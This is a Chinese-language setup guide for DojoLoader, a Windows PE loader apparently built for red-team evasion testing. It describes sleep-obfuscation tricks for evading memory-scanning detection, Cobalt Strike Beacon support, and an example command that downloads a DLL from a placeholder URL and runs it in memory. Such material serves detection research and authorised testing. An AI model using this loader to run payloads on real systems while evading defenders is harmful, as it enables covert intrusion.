DojoLoader 项目安装与配置指南

1. 项目基础介绍

DojoLoader 是一个通用的 PE（Portable Executable）加载器，主要用于快速原型化和测试逃逸技术。该项目最初是为了减少使用 Cobalt Strike 的 UDRL（User-Defined Reflective Loader）调试时间而创建的，特别是针对没有 UDRL 的原始 Beacon 负载。DojoLoader 支持多种睡眠混淆技术，以规避调试和检测。

该项目主要使用的编程语言是 C。

2. 项目使用的关键技术和框架

• PE 加载器技术：负责从 HTTP 或文件加载并执行 XOR 编码的 shellcode。
• 动态 IAT（Import Address Table）钩子：用于动态地钩住 Sleep 函数，实现混淆。
• 睡眠混淆技术：实现了三种不同的睡眠混淆技术，包括 RW->RX、MemoryBouncing 和 MemoryHopping，这些技术旨在规避常见的 RX->RW 检测。

3. 项目安装和配置的准备工作与详细步骤

准备工作

在开始安装和配置 DojoLoader 之前，请确保您的系统满足以下要求：

• 操作系统：Windows
• 编译环境：支持 C 语言的编译器，如 Visual Studio
• 其他工具：Git（用于克隆项目）

安装步骤

1. 克隆项目

   打开命令行工具（如 PowerShell 或 CMD），然后输入以下命令来克隆项目：

   git clone https://github.com/naksyn/DojoLoader.git
   

   这将在当前目录下创建一个名为 DojoLoader 的文件夹，其中包含项目文件。

2. 编译项目

   打开 Visual Studio 或其他支持 C 语言的编译器，并加载 DojoLoader.sln 解决方案文件。然后，编译整个项目。如果编译成功，将在项目目录下生成可执行文件。

3. 配置和使用

   • 从 URL 加载 PE 文件：使用 -d <url> 参数指定 PE 文件的 URL。
   • 从文件加载 PE 文件：使用 -f <file> 参数指定 PE 文件的路径。
   • 使用 XOR 密钥：如果 PE 文件被 XOR 编码，可以使用 -k <key> 参数指定 XOR 密钥。
   • 选择睡眠混淆技术：使用 -s <function> 参数选择睡眠混淆技术，其中 1 或 membounce 代表 MemoryBouncing，2 或 memhop 代表 Memory Hopping，3 或 RWRX 代表经典的 RW->RX 技术。
   • 使用 Cobalt Strike Beacon 负载：如果使用 Cobalt Strike Beacon 负载，请使用 -beacon 参数。

   例如，以下命令将从指定的 URL 加载 PE 文件，并使用 MemoryBouncing 睡眠混淆技术：

   DojoLoader.exe -d http://example.com/path/to/pefile.dll -s 1
   

按照以上步骤，您应该能够成功安装并配置 DojoLoader 项目，并开始使用它进行快速原型化和测试逃逸技术。